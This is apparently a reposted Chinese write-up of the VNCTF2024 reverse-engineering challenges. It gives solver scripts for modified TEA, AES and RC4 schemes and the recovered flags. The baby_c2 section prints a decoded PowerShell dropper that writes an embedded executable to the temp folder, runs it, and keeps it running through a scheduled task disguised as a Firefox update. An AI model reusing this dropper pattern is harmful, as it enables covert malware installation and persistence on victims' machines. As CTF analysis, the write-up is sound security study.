迟到的VNCTF2024逆向题WP

news2024/10/5 15:32:12

这次比赛因为有事外出,只做了前两题,最近有空才把另外3题也做出来,总体来说比以往的VNCTF逆向题目要难一些。当然也有可能是我水平退步了,就算有时间参加比赛,应该也做不完这5题。VN的小伙伴越来越厉害了,出的题质量还不错哦。

RE1:TBXO

在这里插入图片描述
全部代码都采用了栈地址修改的方法进行跳转
在这里插入图片描述
静态分析不方便,只好动态调试,好在加密算法这个函数没有怎么混淆
在这里插入图片描述
分析得到是魔改的TEA算法,key是cdbgnamie_dyilik
写脚本计算出flag:

import struct
def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    delta = 0x9E3779B9
    x = delta*32&0xffffffff
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(32):
        v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3) ^ 0x33
        v1 = v1 & 0xFFFFFFFF
        v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1) ^ 0x33
        v0 = v0 & 0xFFFFFFFF
        x -= delta
        x = x & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v
if __name__ == '__main__':
    encrypted=[0x31363010, 0xAD938623, 0x8492D4C5, 0x7567E366, 0xC786696B, 0xA0092E31, 0xDB695733, 0xDD13A893, 0x88D8A53E, 0x7E845437]
    key = [0x67626463, 0x696D616E, 0x79645F65, 0x6B696C69]
    for i in range(len(encrypted)//2):
        decrypted = decrypt(encrypted[i*2:i*2+2], key)
        x=struct.pack('<2I',decrypted[0],decrypted[1]).decode()
        print(x,end='')
# VNCTF{Box_obfuscation_and_you_ar_socool}

RE2:baby_c2

在这里插入图片描述
流量包中能看到flag.txt文件和加密的内容:
在这里插入图片描述
再看另一个powershell脚本,用base64逐层解码如下:

$b64EncodedData = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABe9JNiGpX9MRqV/TEalf0xE+1uMRaV/TEcFPwwGJX9MRwU+DAJlf0xHBT5MBaV/TEcFP4wGJX9MVHt/DARlf0xGpX8MVGV/TFwFPQwG5X9MXAUAjEblf0xcBT/MBuV/TFSaWNoGpX9MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //内容过长,省去部分内容

$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$filePath = Join-Path -Path $env:TEMP -ChildPath "169sdaf1c56a4s5da4.bin"
$PEBytes | Set-Content -Path $filePath -Encoding byte -Force
Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"

$actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument  "/c start %temp%\169sdaf1c56a4s5da4.bin"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
$taskName = "Firef0x update services"
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
Start-ScheduledTask -TaskName $taskName

前面的b64EncodedData解码后得到一个exe文件,其中s参数处理中有两个函数是动态加密生成的代码,加密部分是在sub_401220:
在这里插入图片描述
显然根据比赛的日期,判断出v3=217,对数据异或得到2个关键函数代码
在这里插入图片描述在这里插入图片描述
明显是RC4加密,key根据主函数中的代码是由PathFindFileNameA调用得到的在这里插入图片描述
该方法就是返回文件名,这个文件名在抓包的报文中就是flag.txt,因此可以解密文件得到flag.txt的内容
在这里插入图片描述

RE3:yun

在这里插入图片描述

这个app我的华为手机都装不了,需要android 11,更别说虚机和模拟器了,不能进行调试,只能靠静态分析。

解压出来so库文件,然后发现JNI_Onload里什么都没有,比较奇怪,然后看汇编发现有问题在这里插入图片描述
最后ret到了sub_1fb44去执行了
在这里插入图片描述
真正注册的函数在这里:在这里插入图片描述
再看下这个主函数
在这里插入图片描述
sub_20004就是好像变量复制,sub_1F17C是获取输入字符串内容,而sub_1EAE0是加密数据的核心代码
在这里插入图片描述
根据VNVN数据生成加密数据(这里VNVN在启动后会被改成“s0ry”)
在这里插入图片描述
最后再进行base64编码,然后判断是否和bjJydXY4LXB6cnIyZjJxam0ydGNvM3RqOGQ0eTBpdHpoMXUt相等
因此用z3写出爆破求解脚本,不需要什么计算,直接出结果:

from z3 import *
s = Solver()
flag = [BitVec('x%d' % i, 16) for i in range(36)]
tmp=[0]*4
b='s0ry'
a='abcdefghijklmnopqrstuvwxyz1234567890-'
res='n2ruv8-pzrr2f2qjm2tco3tj8d4y0itzh1u-'
for i in range(2):
    for j in range(2):
        tmp[2*i+j]=a.index(b[2*i+j])
ret=[0]*36
for i in range(len(flag)//2):
    for j in range(2):
        for k in range(2):
            ret[i*2+j]+=flag[i*2+k]*tmp[k*2+j]
for i in range(36):
    s.add(And(flag[i]>=0,flag[i]<37))
    s.add(ret[i]%37==a.index(res[i]))

if s.check() != sat:
    print ("error!")
count=0
while s.check() == sat:
    m = s.model()
    count+=1
print(count,''.join(a[m[flag[i]].as_long()%37] for i in range(36)))
#flag:75531c14-8825-44ed-a9ec-74d47d5cb76b

RE4:obfuse

在这里插入图片描述

题目给的是个.o的文件,除非找到正确的gcc版本,否则不能编译成可执行的程序,因此也不能调试,只能静态分析
代码混淆有两种跳转,第一种是2个条件跳转,第二种是一个jmp $+5
在这里插入图片描述
第一种混淆可以看出来两个跳转后有4个乱字节,可以写脚本patch掉,一个块带跳转共替换成16个nop;
第二种比较简单,就直接把jmp $+5这句替换成5个nop就行。
除去跳转混淆以后,可以用F5看伪代码了,不过还是有扁平化混淆,不知道这时候D810插件为啥报错了
在这里插入图片描述
只好肉眼手工慢慢看
在这里插入图片描述
这里unnamed_3和4都是16字节的数据,unamed_5则是加密后比较的数据
在这里插入图片描述
还给了提示,应该是魔改了4处的加密算法:
在这里插入图片描述
首先根据加密过程,判断出来应该是个AES算法:
在这里插入图片描述
第一处魔改是与IV异或的地方,就是sub_406790:
在这里插入图片描述在这里插入图片描述
相当于明文和IV异或的时候也同时和i+22进行异或,这个i就是0-15的字符串下标索引

第二处魔改是AddRoundkey函数,在sub_403610:
实现类似如下的逻辑:

 for i in range(4):
    for j in range(4):
        data[i*4+j]^=roundkey[i*4+j]^i^j

第三处魔改是MixColumns函数,在sub_404160:
有4次异或0x64的操作
在这里插入图片描述
实现这样的代码:

static void MixColumns(state_t* state)
{
  uint8_t i;
  uint8_t Tmp, Tm, t;
  for (i = 0; i < 4; ++i)
  {  
    t   = (*state)[i][0];
    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
    Tm  = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm);  (*state)[i][0] ^= Tm ^ Tmp ^0x64;
    Tm  = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm);  (*state)[i][1] ^= Tm ^ Tmp ^0x64;
    Tm  = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm);  (*state)[i][2] ^= Tm ^ Tmp ^0x64;
    Tm  = (*state)[i][3] ^ t ; Tm = xtime(Tm);  (*state)[i][3] ^= Tm ^ Tmp ^0x64;
  }
}

最后一处是PlainSubBytes函数,在sub_403b60:
对查表结果进行了异或0xC8
在这里插入图片描述
找对4处魔改,写AES解密脚本即可完成解密:

import re
import binascii

class Aes:
    #字节替换s盒,未修改
    sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
        0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
    s_box = {}
    ns_box = {  # 逆字节替换s盒
    }
    Rcon = {  # Rcon生成密钥的表
        1: ['0x01', '0x00', '0x00', '0x00'],
        2: ['0x02', '0x00', '0x00', '0x00'],
        3: ['0x04', '0x00', '0x00', '0x00'],
        4: ['0x08', '0x00', '0x00', '0x00'],
        5: ['0x10', '0x00', '0x00', '0x00'],
        6: ['0x20', '0x00', '0x00', '0x00'],
        7: ['0x40', '0x00', '0x00', '0x00'],
        8: ['0x80', '0x00', '0x00', '0x00'],
        9: ['0x1B', '0x00', '0x00', '0x00'],
        10: ['0x36', '0x00', '0x00', '0x00']
    }
    Matrix = [  # 列混淆
        ['0x02', '0x03', '0x01', '0x01'],
        ['0x01', '0x02', '0x03', '0x01'],
        ['0x01', '0x01', '0x02', '0x03'],
        ['0x03', '0x01', '0x01', '0x02']
    ]
    ReMatrix = [  # 逆列混淆
        ['0x0e', '0x0b', '0x0d', '0x09'],
        ['0x09', '0x0e', '0x0b', '0x0d'],
        ['0x0d', '0x09', '0x0e', '0x0b'],
        ['0x0b', '0x0d', '0x09', '0x0e']
    ]
    plaintext = [[], [], [], []]  # 存放明文
    plaintext1 = [[], [], [], []]  # 最后输出的密文
    subkey = [[], [], [], []]  # 存放密钥
    def __init__(self, key):  # 构造函数,同时生成密钥
        self.s_box = dict(zip(["0x%02x"%i for i in range(256)], ["0x%02x"%i for i in self.sbox])) 
        self.ns_box = dict(zip(self.s_box.values(), self.s_box.keys()))  # s盒键值互换,变为逆S盒
        for i in range(4):
            for j in range(0, 8, 2):
                self.subkey[i].append("0x" + key[i * 8 + j:i * 8 + j + 2])  # 将密钥变成二维矩阵
        # print(self.subkey)
        for i in range(4, 44):  # 生成密钥
            if i % 4 != 0:  # 如果不是4的倍数,那么直接异或
                tmp = xor_32(self.subkey[i - 1], self.subkey[i - 4])
                self.subkey.append(tmp)
            else:  # 4的倍数的时候执行
                tmp1 = self.subkey[i - 1][1:]
                tmp1.append(self.subkey[i - 1][0])
                # print(tmp1)
                for m in range(4):
                    tmp1[m] = self.s_box[tmp1[m]]
                # tmp1 = self.s_box['cf']  # 字节代替
                tmp1 = xor_32(tmp1, self.Rcon[i / 4])  # 和Rcon异或
                self.subkey.append(xor_32(tmp1, self.subkey[i - 4]))
        # print(self.subkey)
    def AddRoundKey(self, round):  # 轮密钥加
        for i in range(4):
            temp=[]
            for j in range(4):
                temp.append("0x%02x"%(int(self.plaintext[i][j],16)^int(self.subkey[round * 4 + i][j],16)^i^j))
            self.plaintext[i]=temp
            #self.plaintext[i] = xor_32(self.plaintext[i], self.subkey[round * 4 + i])
        # print('AddRoundKey',self.plaintext)
    def RePlainSubBytes(self):  # 逆字节代替
        for i in range(4):
            for j in range(4):
                self.plaintext[i][j] = self.ns_box["0x%02x"%(int(self.plaintext[i][j],16)^0xc8)]
    def ReShiftRows(self):  # 逆行移位
        p1, p2, p3, p4 = self.plaintext[0][1], self.plaintext[1][1], self.plaintext[2][1], self.plaintext[3][1]
        self.plaintext[3][1] = p3
        self.plaintext[2][1] = p2
        self.plaintext[0][1] = p4
        self.plaintext[1][1] = p1
        p1, p2, p3, p4 = self.plaintext[0][2], self.plaintext[1][2], self.plaintext[2][2], self.plaintext[3][2]
        self.plaintext[0][2] = p3
        self.plaintext[1][2] = p4
        self.plaintext[2][2] = p1
        self.plaintext[3][2] = p2
        p1, p2, p3, p4 = self.plaintext[0][3], self.plaintext[1][3], self.plaintext[2][3], self.plaintext[3][3]
        self.plaintext[0][3] = p2
        self.plaintext[1][3] = p3
        self.plaintext[2][3] = p4
        self.plaintext[3][3] = p1
    def ReMixColumns(self):  # 逆列混淆
        for i in range(4):
            self.plaintext[i] = xor_32(self.plaintext[i], ['0x64']*4)
            for j in range(4):
                self.plaintext1[i].append(MatrixMulti(self.ReMatrix[j],self.plaintext[i]))
    def AES_ECB_Dec(self, cipher):  # AES单组解密函数
        self.plaintext = [[], [], [], []]
        for i in range(4):
            for j in range(0, 8, 2):
                self.plaintext[i].append('0x' + cipher[i * 8 + j:i * 8 + j + 2])  # 16进制转成2进制
        # print(self.ns_box)
        self.AddRoundKey(10)
        for i in range(9):
            self.ReShiftRows()
            self.RePlainSubBytes()
            self.AddRoundKey(9-i)
            self.ReMixColumns()
            self.plaintext = self.plaintext1
            self.plaintext1 = [[], [], [], []]
        self.ReShiftRows()
        self.RePlainSubBytes()
        self.AddRoundKey(0)
        return Matrixtostr(self.plaintext)
    
    def AES_CBC_Dec(self, cipher ,iv): #bytes cipher,iv
        plain=b''
        for i in range(len(cipher)//16-1,-1,-1):
            plain16 = self.AES_ECB_Dec(cipher[i*16:(i+1)*16].hex())
            if i>0:
                plain=xor(bytes.fromhex(plain16),xor(cipher[i*16-16:i*16],iv0))+plain
            else:
                plain=xor(bytes.fromhex(plain16),xor(iv,iv0))+plain
        return plain
    def Encryption(self, text):  # 加密函数
        group = PlaintextGroup(TextToByte(text), 32, 1)
        # print(group)
        cipher = ""
        for i in range(len(group)):
            cipher = cipher + self.AESEncryption(group[i])
        return cipher
    def Decryption(self, cipher):  # 解密函数
        group = PlaintextGroup(cipher, 32, 0)
        # print(group)
        text = ''
        for i in range(len(group)):
            text = text + self.AESDecryption(group[i])
        text = ByteToText(text)
        return text
def xor_32(start, end):  # 32位进行异或
    a = []
    for i in range(0, 4):
        xor_tmp = ""
        b = hextobin(start[i])
        c = hextobin(end[i])
        for j in range(8):
            xor_tmp += str(int(b[j], 10) ^ int(c[j], 10))
        a.append(bintohex(xor_tmp))
    return a
def xor_8(begin, end):  # 二进制字符串8位异或
    xor_8_tmp = ""
    for i in range(8):
        xor_8_tmp += str(int(begin[i]) ^ int(end[i]))
    return xor_8_tmp
def hextobin(word):  # 把十六进制转换成二进制
    word = bin(int(word, 16))[2:]  # 去除掉最前面的0b
    for i in range(0, 8-len(word)):  # 补全八位
        word = '0'+word
    return word
def bintohex(word):  # 把二进制转换十六进制
    word = hex(int(word, 2))
    if len(word) == 4:
        return word
    elif len(word) < 4:
        return word.replace('x', 'x0')
def MatrixMulti(s1, s2):  # 列混淆中的矩阵乘法
    result = []
    s3 = []
    for i in range(4):
        s3.append(hextobin(s2[i]))  # s3保存原始矩阵一行的四个二进制值
    for i in range(4):
        result.append(MultiProcess(int(s1[i], 16), s3[i]))
    for i in range(3):
        result[0] = xor_8(result[0], result[i+1])
    return bintohex(result[0])
def MultiProcess(a, b):  # 列混淆中的乘法运算的具体过程
    if a == 1:
        return b
    elif a == 2:
        if b[0] == '0':
            b = b[1:] + '0'
        else:
            b = b[1:] + '0'
            b = xor_8(b, '00011011')
        return b
    elif a == 3:
        tmp_b = b
        if b[0] == '0':
            b = b[1:] + '0'
        else:
            b = b[1:] + '0'
            b = xor_8(b, '00011011')
        return xor_8(b, tmp_b)
    elif a == 9:
        tmp_b = b
        return xor_8(tmp_b, MultiProcess(2, MultiProcess(2, MultiProcess(2, b))))
    elif a == 11:
        tmp_b = b
        return xor_8(tmp_b, xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, b)))
    elif a == 13:
        tmp_b = b
        return xor_8(tmp_b, xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, MultiProcess(2, b))))
    elif a == 14:
        return xor_8(MultiProcess(2, b), xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, MultiProcess(2, b))))
def Matrixtostr(matrix):  # 矩阵转成字符串
    result = ""
    for i in range(4):
        for j in range(4):
            result += matrix[i][j][2:]
    return result
def PlaintextGroup(plaintext, length, flag):  # 明文分组和填充
    group = re.findall('.{'+str(length)+'}', plaintext)
    group.append(plaintext[len(group)*length:])
    if group[-1] == '' and flag:
        group[-1] = '16161616161616161616161616161616'
    elif len(group[-1]) < length and flag:
        tmp = int((length-len(group[-1])) / 2)
        if tmp < 10:
            for i in range(tmp):
                group[-1] = group[-1] + '0'+str(tmp)
        else:
            for i in range(tmp):
                group[-1] = group[-1] + str(tmp)
    elif not flag:
        del group[-1]
    return group
def TextToByte(words):  # 明文转成十六进制字节流
    text = words.encode('utf-8').hex()
    return text
def ByteToText(encode):  # 十六进制字节流转成明文
    tmp = int(encode[-2:])
    word = ''
    for i in range(len(encode)-tmp*2):
        word = word + encode[i]
    # print(word)
    word = bytes.decode(binascii.a2b_hex(word))
    return word
def xor(a,b):
    return bytes([i^j for i,j in zip(a,b)])
from Crypto.Util.number import *
#下面是手工CBCd
iv='000102030405060708090A0B0C0D0E0F'
ciphertext='B5962103B6D50DE30CD75B887CEB297E1414EA8802FEBA923994D2F6472BE26F'
key='2B7E151628AED2A6ABF7158809CF4F3C'.lower()
iv0=bytes.fromhex('161718191a1b1c1d1e1f202122232425')
A1 = Aes(key)
print(A1.AES_CBC_Dec(bytes.fromhex(ciphertext),bytes.fromhex(iv)))
# VNCTF{th1s_t@stes_go0d_r1ght~~?}

RE5:ko

在这里插入图片描述
感觉这题比较坑,有点像MISC,一直找不到RC4的key,谁会知道用户代码会怎么写?!
后来发现内核日志信息里居然有提示,才明白为啥代码中要写这么多printk,好吧,是我肤浅了。
首先,代码中所有的数据都经过了加密
在这里插入图片描述
在初始化函数中调用_register_chrdev,_class_create,device_create进行驱动的注册
在这里插入图片描述
注意off_CE0这里,对几个回调函数都进行了注册
在这里插入图片描述
其中核心的逻辑在ioctl回调函数中
根据调用函数的参数顺序分别有如下代码:
在这里插入图片描述
第一部分主要是调用了rc4_init函数
在这里插入图片描述
第二部分主要是调用了rc4_encrypt函数
在这里插入图片描述
第三部分主要是调用了check_flag函数
下面在分别说下这3个函数
rc4_init函数:这个函数没啥问题,里面就多了一个srand(),后面细说。
在这里插入图片描述
rc4_encrypt函数:这里有魔改的地方,有个随机数加入了加密流程在这里插入图片描述
而check_flag函数就是一个比较字符串长度和内容是否正确的
在这里插入图片描述
看看mt19937gen函数:
在这里插入图片描述
就是一个标准的梅森旋转数伪随机算法。
再看下srand函数:
在这里插入图片描述
这里设置了种子是0xfa11010d
其实流程还是满简单的,关键是rc4的key在哪里,最后在init函数里找到一个日志信息
在这里插入图片描述
这里表示1D00这里存放的就是key了,写出解密脚本如下:

def _int32(x):
    return int(0xFFFFFFFF & x)

class MT19937:
    def __init__(self, seed):
        self.mt = [0] * 624
        self.mt[0] = seed
        self.mti = 0
        for i in range(1, 624):
            self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)

    def extract_number(self):
        if self.mti == 0:
            self.twist()
        y = self.mt[self.mti]
        y = y ^ y >> 11
        y = y ^ y << 7 & 2636928640
        y = y ^ y << 15 & 4022730752
        y = y ^ y >> 18
        self.mti = (self.mti + 1) % 624
        return _int32(y)
    def twist(self):
        for i in range(0, 624):
            y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
            self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]
            if y % 2 != 0:
                self.mt[i] = self.mt[i] ^ 0x9908b0df
rand=MT19937(0xFA11010D)
def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + (key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_encrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j] + rand.extract_number()) % 256
        k = box[t]
        res.append(((s) ^ k)&0xff)
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = bytes(res)
    print("加密后的字符串是:%s" %cipher)
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

res=bytes.fromhex('1fd1f1913e5aad6c0425e1c49a5aa0771d6be717ab10e7ac294913fbc487d5be60d7d79692ece1618ab0')
key=b"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAwl1xDcAhbdm49z9MEJuVkyw2jFjAAIVYtYIZ2D3bK0YpKLuOY7uqtFOsjCO1I47ZLc2nGWfrvaxtCo28N56Ie5BlvDhjkqlqNZjLwhAVCNLWntCsXJn8xt3vhCEf9ccEiNKgJQzIvXsf96Uh2k76cXLi6yqzvjzmNnkuqiPv"
s_box = rc4_init_sbox(key)
rc4_encrypt(res, s_box)
# VNCTF{Welcome_To_Kernel_World@RETraveler}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1477036.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python + Google AI 自动修复 Sonar Bug 实践

前言 在工作中总会遇到种种不期而至的需求&#xff0c;比如前段时间突然要修复所有 Sonar Bug&#xff0c;涉及各种琐碎的代码风格问题&#xff0c;包括但不限于语法不规范、废弃注释等问题。这些项目都已经持续开发几年了&#xff0c;Sonar 上的问题层出不穷&#xff0c;各种…

汽车三元催化器的废品项目详解,三元催化再生项目的回收技术教学

一、教程描述 这是一个收废品项目&#xff0c;就收那些别人不懂的&#xff0c;三元催化器的附加值高&#xff0c;只要掌握技术&#xff0c;怎么玩都行的&#xff0c;只是要放得下你的面子。三元催化器&#xff0c;是安装在汽车排气系统中最重要的机外净化装置&#xff0c;它可…

Python 神经概率语言模型代码实现和详解,NPLM代码实现和详解;NPLM代码模板讲解,最简单的NLP预测模型

1.神经概率语言模型&#xff1a;NPLM NPLM&#xff08;Neural Probabilistic Language Model&#xff09;是一种经典的神经概率语言模型&#xff0c;被用于自然语言处理任务中。它使用神经网络来学习词汇之间的关系&#xff0c;通过计算词汇序列的概率分布来预测下一个词汇。N…

论文设计任务书学习文档|基于Web的个性化简历职位推荐系统的设计与实现

文章目录 论文(设计)题目:基于Web的个性化简历职位推荐系统的设计与实现1、论文(设计)的主要任务及目标2、论文(设计)的主要内容3、论文(设计)的基本要求4、进度安排论文(设计)题目:基于Web的个性化简历职位推荐系统的设计与实现 1、论文(设计)的主要任务及目标…

log4j 基础使用入门教程

一、Log4j介绍 在项目中&#xff0c;不管是开发人员写代码还是测试人员写的测试代码一般都需要做一些日志来记录项目的行为&#xff0c;以便更好的跟踪项目中的一些交互和问题。 Log4j ( Logger For Java ) , Java 日志的记录包。 官方网站 。Log4j 是 Apache 的一个开源项目…

理解C转汇编后代码分析

题目 . - 力扣&#xff08;LeetCode&#xff09; 解题代码 #include <stdio.h> #include "stdbool.h"typedef struct {int score;int index;int count; } Record; Record records[26] {0};int totalScore(char *w) {int total 0;for (int i 0; i < st…

程序员的金三银四/金九银十求职宝典

目录 金三银四&#xff0c;金九银十 方向一&#xff1a;面试技巧分享 方向二&#xff1a;面试题解析 方向三&#xff1a;公司文化解读 方向四&#xff1a;职业规划建议 方向五&#xff1a;成功案例展示 方向六&#xff1a;行业趋势分析 金三银四&#xff0c;金九银十 “金…

Docker制作lamp镜像并在其他机器上部署

为了方便将自己的LAMP运行环境和项目在其他机器上部署或发布&#xff0c;可以用基于Dockerhub 里的mattrayner/lamp镜像打包自己需要的镜像。 1、先选择合适的镜像文件 镜像mattrayner/lamp有多个版本&#xff0c;根据自己需要选择下载 2、镜像在首次运行时会自动下载&#x…

vue3 图片/视频 加载失败重试

vue3 图片/视频 加载失败重试 需求背景 用户手机上传图片走oss &#xff0c;在pc端在线客服连接socket 需要实时推送消息&#xff0c;接受到消息后&#xff0c;由于oss还回没有回调成功&#xff0c;所以图片/视频不能及时展示&#xff0c;所以做了一个失败重试的功能 效果图 技…

QQ录屏会录到外界声音吗?这篇文章告诉你答案

在现代网络科技快速发展的今天&#xff0c;屏幕录制已成为人们日常办公、学习、娱乐的重要工具。qq作为国内最受欢迎的社交软件之一&#xff0c;其内置的屏幕录制功能受到很多人的青睐。可是使用的过程中&#xff0c;很多人会有疑问&#xff1a;qq录屏会录到外界声音吗&#xf…

Python编程实验五:文件的读写操作

目录 一、实验目的与要求 二、实验内容 三、主要程序清单和程序运行结果 第1题 第2题 四、实验结果分析与体会 一、实验目的与要求 &#xff08;1&#xff09;通过本次实验&#xff0c;学生应掌握与文件打开、关闭相关的函数&#xff0c;以及与读写操作相关的常用方法的…

Constructor构造方法

在我们创建实例时&#xff0c;我们经常需要同时初始化这个实例&#xff0c;例如&#xff1a; Person ming new Person(); ming.setName("卫什么"); ming.setAge("18"); 这样需要三行代码&#xff0c;实际上&#xff0c;在我们创建实例时&#xff0c;是通过…

高校物品捐赠管理系统|基于springboot高校物品捐赠管理系统设计与实现(源码+数据库+文档)

高校物品捐赠管理系统目录 目录 基于springboot高校物品捐赠管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、用户信息管理 2、捐赠信息管理 3、论坛信息管理 4、公告信息管理 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算…

端智能:面向手机计算环境的端云协同AI技术创新

近年来&#xff0c;随着移动端设备软硬件能力的进步&#xff0c;移动端的算力有了很大提升&#xff0c;同时面向移动端的机器学习框架和模型轻量化技术越来越成熟&#xff0c;端上的AI能力逐渐进入大众视野&#xff0c;端智能在电商领域也开始逐步走向规模化应用。通过持续探索…

【X806开发板试用】文章一 ubuntu开发环境搭建

一、环境配置 官方链接&#xff1a; 环境配置 1.安装必要的库和软件 sudo apt-get install build-essential gcc g make zlib* libffi-dev e2fsprogs pkg-config flex bison perl bc openssl libssl-dev libelf-dev libc6-dev-amd64 binutils binutils-dev libdwarf-dev u-b…

幻兽帕鲁(1.5.0)可视化管理工具(0.5.7 docker版)安装教程

文章目录 局域网帕鲁服务器部署教程帕鲁服务可视化工具安装配置服务器地址&#xff08;可跳过&#xff09;使用工具管理面板 1.5.0服务端RCON错误1.5.0服务端无法启动RCON端口 解决方法第一步&#xff1a;PalWorldSettings.ini配置第二步&#xff1a;修改PalServer.sh配置 局域…

Zookeeper基础入门-1【集群搭建】

Zookeeper基础入门-1【集群搭建】 一、Zookeeper 入门1.1.概述1.2.Zookeeper工作机制1.3.Zookeeper特点1.4.数据结构1.5.应用场景1.5.1.统一命名服务1.5.2.统一配置管理1.5.3.统一集群管理1.5.4.服务器动态上下线1.5.5.软负载均衡 1.6.Zookeeper官网1.6.1.Zookeeper下载1.6.2.历…

【MySQL探索之旅】数据库的基本操作

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 |《MySQL探索之旅》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &…

python脚本实现全景站点欧拉角转矩阵

效果 脚本 import numpy as np import math import csv import os from settings import *def euler_to_rotation_matrix(roll, pitch, yaw):# 计算旋转矩阵# Z-Y-X转换顺序Rz

手撕Java集合之简易版Deque(LinkedList)

